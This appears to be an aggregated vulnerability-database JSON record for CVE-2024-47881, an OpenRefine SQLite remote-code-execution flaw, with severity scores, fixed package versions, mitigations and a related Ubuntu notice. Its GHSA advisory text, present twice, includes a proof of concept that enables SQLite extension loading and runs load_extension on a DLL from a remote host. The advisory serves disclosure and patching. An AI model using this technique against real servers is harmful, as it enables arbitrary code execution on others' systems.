{"id":"CVE-2024-47881","aliases":["DEBIAN-CVE-2024-47881","EUVD-2024-2990","GHSA-87cf-j763-vvh8","UBUNTU-CVE-2024-47881","USN-7260-1"],"status":"published","title":"OpenRefine's SQLite integration allows filesystem access, remote code execution (RCE)","description":"OpenRefine is a free, open source tool for working with messy data. Starting in version 3.4-beta and prior to version 3.8.3, in the `database` extension, the \"enable_load_extension\" property can be set for the SQLite integration, enabling an attacker to load (local or remote) extension DLLs and so run arbitrary code on the server. The attacker needs to have network access to the OpenRefine instance. Version 3.8.3 fixes this issue.","severity":{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00689,"percentile":0.53252,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-89"],"published":"2024-10-24T18:11:20Z","modified":"2026-11-02T12:03:03Z","fixes":[{"ecosystem":"Maven","package":"org.openrefine:database","fixed_in":["3.8.3"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:12","package":"openrefine","fixed_in":["3.6.2-2+deb12u3"],"sources":["osv"]},{"ecosystem":"Debian:13","package":"openrefine","fixed_in":["3.8.7-1"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:22.04:LTS","package":"openrefine","fixed_in":["3.5.2-1ubuntu0.1~esm1"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:24.04:LTS","package":"openrefine","fixed_in":["3.7.7-1ubuntu0.1~esm1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"Maven","package":"org.openrefine:database","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.4-beta"},{"fixed":"3.8.3"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"openrefine","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.6.2-2+deb12u3"}]}],"versions":["3.6.2-2","3.6.2-2+deb12u1","3.6.2-2+deb12u2"]},{"source":"osv","ecosystem":"Debian:13","package":"openrefine","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.8.7-1"}]}]},{"source":"osv","ecosystem":"Maven","package":"org.openrefine:database","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.4-beta"},{"fixed":"3.8.3"}]}],"versions":["3.6-beta1","3.6-beta2","3.6-rc1","3.6.0","3.6.1","3.6.2","3.7-beta1","3.7-beta2","3.7.0","3.7.2","3.8-beta1","3.8-beta5","3.8.0","3.8.1","3.8.2"]},{"source":"osv","ecosystem":"Ubuntu:Pro:22.04:LTS","package":"openrefine","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.5.2-1ubuntu0.1~esm1"}]}],"versions":["3.5.2-1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:24.04:LTS","package":"openrefine","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.7.7-1ubuntu0.1~esm1"}]}],"versions":["3.6.2-3","3.7.6-1","3.7.7-1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:22.04:LTS","package":"openrefine","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.5.2-1ubuntu0.1~esm1"}]}],"versions":["3.5.2-1"],"bundled":10},{"source":"osv","ecosystem":"Ubuntu:Pro:24.04:LTS","package":"openrefine","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.7.7-1ubuntu0.1~esm1"}]}],"versions":["3.6.2-3","3.7.6-1","3.7.7-1"],"bundled":10}],"products":[{"vendor":"openrefine","product":"openrefine"}],"references":[{"url":"https://github.com/OpenRefine/OpenRefine/security/advisories/GHSA-87cf-j763-vvh8","tags":["x_refsource_CONFIRM","Exploit","Third Party Advisory","advisory","web","report"]},{"url":"https://github.com/OpenRefine/OpenRefine/commit/853a1d91662e7dc278a9a94a38be58de04494056","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/advisories/GHSA-87cf-j763-vvh8"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/47xxx/CVE-2024-47881.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-47881","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2024-47881","tags":["advisory"]},{"url":"https://github.com/OpenRefine/OpenRefine","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2024-47881","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2024-47881","tags":["report"]},{"url":"https://ubuntu.com/security/notices/USN-7260-1","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2023-37476","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2023-41886","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2023-41887","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2024-23833","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2024-47878","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2024-47879","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2024-47880","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2024-47882","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2024-49760","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2024-47881","title":"OpenRefine's SQLite integration allows filesystem access, remote code execution (RCE)","description":"OpenRefine is a free, open source tool for working with messy data. Starting in version 3.4-beta and prior to version 3.8.3, in the `database` extension, the \"enable_load_extension\" property can be set for the SQLite integration, enabling an attacker to load (local or remote) extension DLLs and so run arbitrary code on the server. The attacker needs to have network access to the OpenRefine instance. Version 3.8.3 fixes this issue.","status":"published","published":"2024-10-24T20:31:09.314Z","modified":"2024-10-25T19:07:07.083Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T14:33:57.302325Z"}],"euvd":[{"id":"EUVD-2024-2990","description":"OpenRefine is a free, open source tool for working with messy data. Starting in version 3.4-beta and prior to version 3.8.3, in the `database` extension, the \"enable_load_extension\" property can be set for the SQLite integration, enabling an attacker to load (local or remote) extension DLLs and so run arbitrary code on the server. The attacker needs to have network access to the OpenRefine instance. Version 3.8.3 fixes this issue.","status":"published","published":"2024-10-24T20:31:09Z","modified":"2024-10-25T19:07:07Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high"}],"updated_at":"2026-11-03T00:05:17.791345Z"}],"ghsa":[{"id":"GHSA-87cf-j763-vvh8","title":"OpenRefine's SQLite integration allows filesystem access, remote code execution (RCE)","description":"### Summary\n\nIn the `database` extension, the \"enable_load_extension\" property can be set for the SQLite integration, enabling an attacker to load (local or remote) extension DLLs and so run arbitrary code on the server.\n\nThe attacker needs to have network access to the OpenRefine instance.\n\n### Details\n\nThe `database` extension, with some restrictions, lets users connect to any database they wish by filling in different parts of the JDBC URL that is used. For the SQLite integration, the extension expects a file path pointing to a database file (or a place where such a file can be created). This means that users can:\n\n* Read files on local or SMB filesystems, provided they are SQLite databases.\n* Write to files on local or SMB filesystems, as long as those files are either SQLite databases or empty.\n\nThis seems to be the expected behavior.\n\nHowever, by adding `?enable_load_extension=true` to the filename, a [feature](https://www.sqlite.org/loadext.html) is toggled that additionally allows loading and executing shared libraries mentioned in queries, leading to remote code execution. On Windows specifically, those libraries may also come from shared folders.\n\nPossible mitigation and hardening steps could include:\n\n- Having users upload the SQLite database file they want to look at, storing it under some safe name, then opening that, rather than accepting a file path\n- If that is not feasible: making the path relative to, and checking that it does not escape, the workspace directory\n- If that is also not feasible: adding additional checks so that the path at least does not point to other machines or add JDBC parameters\n- Always using the READONLY open mode\n- Explicitly setting enable_load_extension to off\n- Enforcing [stricter limits](https://www.sqlite.org/security.html) and similar precautions\n\n### PoC\n\nTested on a Windows 11 machine. \n\n1. Start OpenRefine and choose \"Create project\", \"Database\", database type \"SQLite\".\n2. Type a writable file path followed by `?enable_load_extension=true`.\n3. Click Connect. The connection should succeed.\n4. Use `SELECT load_extension('\\\\wandernauta.nl\\public\\libcalculator.dll');` as the query.\n5. Assuming there are no firewalls in the way, a few Windows calculators should open.\n\nThe same file is available from https://wandernauta.nl/libcalculator.dll if needed.\n\n### Impact\n\nRemote code execution for attackers with network access to OpenRefine.","status":"published","published":"2024-10-24T18:11:20Z","modified":"2024-10-24T18:11:21Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T14:38:13.09489Z"}],"nvd":[{"id":"CVE-2024-47881","description":"OpenRefine is a free, open source tool for working with messy data. Starting in version 3.4-beta and prior to version 3.8.3, in the `database` extension, the \"enable_load_extension\" property can be set for the SQLite integration, enabling an attacker to load (local or remote) extension DLLs and so run arbitrary code on the server. The attacker needs to have network access to the OpenRefine instance. Version 3.8.3 fixes this issue.","status":"published","published":"2024-10-24T21:15:12.957Z","modified":"2026-06-17T07:57:54.623Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high","assessor":"secondary"},{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T14:10:34.877798Z"}],"osv":[{"id":"CVE-2024-47881","title":"OpenRefine's SQLite integration allows filesystem access, remote code execution (RCE)","description":"OpenRefine is a free, open source tool for working with messy data. Starting in version 3.4-beta and prior to version 3.8.3, in the `database` extension, the \"enable_load_extension\" property can be set for the SQLite integration, enabling an attacker to load (local or remote) extension DLLs and so run arbitrary code on the server. The attacker needs to have network access to the OpenRefine instance. Version 3.8.3 fixes this issue.","status":"published","published":"2024-10-24T20:31:09.314Z","modified":"2026-10-28T10:54:33.739166753Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T15:44:43.253252Z"},{"id":"DEBIAN-CVE-2024-47881","description":"OpenRefine is a free, open source tool for working with messy data. Starting in version 3.4-beta and prior to version 3.8.3, in the `database` extension, the \"enable_load_extension\" property can be set for the SQLite integration, enabling an attacker to load (local or remote) extension DLLs and so run arbitrary code on the server. The attacker needs to have network access to the OpenRefine instance. Version 3.8.3 fixes this issue.","status":"published","published":"2024-10-24T21:15:12.957Z","modified":"2026-11-02T12:03:03.759835204Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:45:43.798789Z"},{"id":"GHSA-87cf-j763-vvh8","title":"OpenRefine's SQLite integration allows filesystem access, remote code execution (RCE)","description":"### Summary\n\nIn the `database` extension, the \"enable_load_extension\" property can be set for the SQLite integration, enabling an attacker to load (local or remote) extension DLLs and so run arbitrary code on the server.\n\nThe attacker needs to have network access to the OpenRefine instance.\n\n### Details\n\nThe `database` extension, with some restrictions, lets users connect to any database they wish by filling in different parts of the JDBC URL that is used. For the SQLite integration, the extension expects a file path pointing to a database file (or a place where such a file can be created). This means that users can:\n\n* Read files on local or SMB filesystems, provided they are SQLite databases.\n* Write to files on local or SMB filesystems, as long as those files are either SQLite databases or empty.\n\nThis seems to be the expected behavior.\n\nHowever, by adding `?enable_load_extension=true` to the filename, a [feature](https://www.sqlite.org/loadext.html) is toggled that additionally allows loading and executing shared libraries mentioned in queries, leading to remote code execution. On Windows specifically, those libraries may also come from shared folders.\n\nPossible mitigation and hardening steps could include:\n\n- Having users upload the SQLite database file they want to look at, storing it under some safe name, then opening that, rather than accepting a file path\n- If that is not feasible: making the path relative to, and checking that it does not escape, the workspace directory\n- If that is also not feasible: adding additional checks so that the path at least does not point to other machines or add JDBC parameters\n- Always using the READONLY open mode\n- Explicitly setting enable_load_extension to off\n- Enforcing [stricter limits](https://www.sqlite.org/security.html) and similar precautions\n\n### PoC\n\nTested on a Windows 11 machine. \n\n1. Start OpenRefine and choose \"Create project\", \"Database\", database type \"SQLite\".\n2. Type a writable file path followed by `?enable_load_extension=true`.\n3. Click Connect. The connection should succeed.\n4. Use `SELECT load_extension('\\\\wandernauta.nl\\public\\libcalculator.dll');` as the query.\n5. Assuming there are no firewalls in the way, a few Windows calculators should open.\n\nThe same file is available from https://wandernauta.nl/libcalculator.dll if needed.\n\n### Impact\n\nRemote code execution for attackers with network access to OpenRefine.","status":"published","published":"2024-10-24T18:11:20Z","modified":"2024-12-04T05:39:36.067915Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T15:46:42.077781Z"},{"id":"UBUNTU-CVE-2024-47881","description":"OpenRefine is a free, open source tool for working with messy data. Starting in version 3.4-beta and prior to version 3.8.3, in the `database` extension, the \"enable_load_extension\" property can be set for the SQLite integration, enabling an attacker to load (local or remote) extension DLLs and so run arbitrary code on the server. The attacker needs to have network access to the OpenRefine instance. Version 3.8.3 fixes this issue.","status":"published","published":"2024-10-24T21:15:00Z","modified":"2026-02-04T03:58:22.202083Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high"},{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T16:55:06.818511Z"},{"id":"USN-7260-1","title":"openrefine vulnerabilities","description":"It was discovered that OpenRefine did not properly handle opening tar\nfiles. If a user or application were tricked into opening a crafted tar\nfile, an attacker could possibly use this issue to execute arbitrary code.\nThis issue only affected Ubuntu 22.04 LTS. (CVE-2023-37476)\n\nIt was discovered that OpenRefine incorrectly handled file permissions and\nuser authentication. An unauthenticated attacker could possibly use this\nissue to leak sensitive information or execute arbitrary code. This issue\nonly affected Ubuntu 22.04 LTS. (CVE-2023-41886, CVE-2023-41887)\n\nIt was discovered that OpenRefine did not properly disallow database\nsettings to be modified when queried. An attacker could possibly use this\nissue to leak sensitive information. This issue only affected\nUbuntu 22.04 LTS and Ubuntu 24.04 LTS. (CVE-2024-23833)\n\nIt was discovered that OpenRefine did not properly sanitize the GET\nparameter for authorized commands, leading to a cross site scripting\nvulnerability. An attacker could possibly use this issue to execute\narbitrary code. (CVE-2024-47878)\n\nIt was discovered that OpenRefine did not properly prevent cross-site\nrequest forgery when running the preview-expression command. If a user or\napplication were tricked into opening a specially crafted webpage, an\nattacker could possibly use this issue to execute arbitrary code.\n(CVE-2024-47879)\n\nIt was discovered that OpenRefine did not properly handle HTTP headers.\nAn attacker could possibly use this issue to execute arbitrary code.\n(CVE-2024-47880)\n\nIt was discovered that OpenRefine incorrectly handled database extensions.\nAn attacker could possibly use this issue to execute arbitrary code.\n(CVE-2024-47881)\n\nIt was discovered that OpenRefine did not properly escape HTML tags in\nexception messages, which could enable code injection. If a user or\napplication were tricked into opening a malicious file, an attacker could\nuse this issue to execute arbitrary code. (CVE-2024-47882)\n\nIt was discovered that OpenRefine did not correctly handle paths when\nexecuting the load-language command. An attacker could possibly use this\nissue to leak sensitive information. (CVE-2024-49760)\n","status":"published","published":"2025-02-10T03:32:44Z","modified":"2026-04-27T17:43:15.654565Z","updated_at":"2026-11-02T16:58:18.876384Z"}]}}